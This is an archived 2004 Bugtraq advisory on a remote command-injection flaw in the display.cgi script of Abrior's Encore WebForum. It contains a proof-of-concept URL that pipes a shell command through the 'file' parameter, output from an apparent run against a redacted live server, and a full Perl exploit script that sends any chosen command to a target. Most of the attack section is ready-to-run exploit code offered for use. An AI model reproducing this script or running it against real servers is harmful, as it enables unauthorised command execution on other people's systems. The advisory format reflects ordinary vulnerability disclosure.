[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    Remote Exploit for Aborior's Encore Web Forum
From:       "XNUXER RESEARCH" <xnuxer () hackermail ! com>
Date:       2004-04-03 6:47:52
Message-ID: 20040403064752.C65617A8C88 () ws4-4 ! us4 ! outblaze ! com
[Download RAW message or body]

==================================================================
Product              : Abrior's Encore WebForum
Versions             : Unchecked (maybe version I)
Bug                  : Remote Command Execution via Display.cgi
Impact               : Attackers can execute remote command
Risk                 : Medium/High
Date                 : April 3, 2004
Bug found by         : k159 from g-security (g-security.tk)
Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory
Reference            : http://www.infosekuriti.com
Email                : xnuxer@yahoo.com, xnuxer@hackermail.com
==================================================================

Description
-------------
Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder \
(forumcgi). Attacker can execute command via browser with doing request to \
display.cgi and  launch command from "file" variable.

Proof Of Concept
----------------

http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname \
-a|

Exploit
-------
This exploit presented by Schizoprenic from Xnuxer Research Lab.
It just for education purpose only.

[xnuxer@Server xnuxer]$ perl xdisp.pl -t www.xxxxxxx.com -d /encore/forumcgi -c \
"uname -a;id;uptime;" Remote Exploit Aborior's Encore Web Forum  by Schizoprenic
Xnuxer Research Laboratory (http://www.infosekuriti.com)
Target: www.xxxxxxx.com
Path Dir: /encore/forumcgi
Command: uname -a;id;uptime;
--------------------RESULT--------------------
Linux ns1.xxxxxxx.com 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 \
i686 i686 i386 GNU/Linux uid=48(apache) gid=48(apache) \
groups=48(apache),2523(psaserv),10044(webdev)  01:41:08  up 17 days,  6:00,  0 users, \
                load average: 0.00, 0.03, 0.00
----------------------------------------------

Note: The real name of domain target in example protected for security reason.

############################################################
#!/usr/bin/perl -w
#
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic
# Bug found by k-159 from g-security.tk

require LWP::UserAgent;
use Getopt::Std;

getopts('t:d:c:');
our($opt_t, $opt_d, $opt_c);

my $target = $opt_t;
my $dir = $opt_d;
my $cmd = $opt_c;

print "Remote Exploit Aborior's Encore Web Forum  by Schizoprenic\n";
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";
print "Target: $target\n";
print "Path Dir: $dir\n";
print "Command: $cmd\n";

my $ua = LWP::UserAgent->new;
$ua->agent("IE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;

$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";

my $response = $ua->get($req);
print "--------------------RESULT--------------------\n";

if ($response->is_success) {
     print $response->content;
} else {
     die $response->status_line;
}

print "----------------------------------------------\n";

# EOF by Xnuxer
-- 
_______________________________________________
Get your free email from http://www.hackermail.com

Powered by Outblaze


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic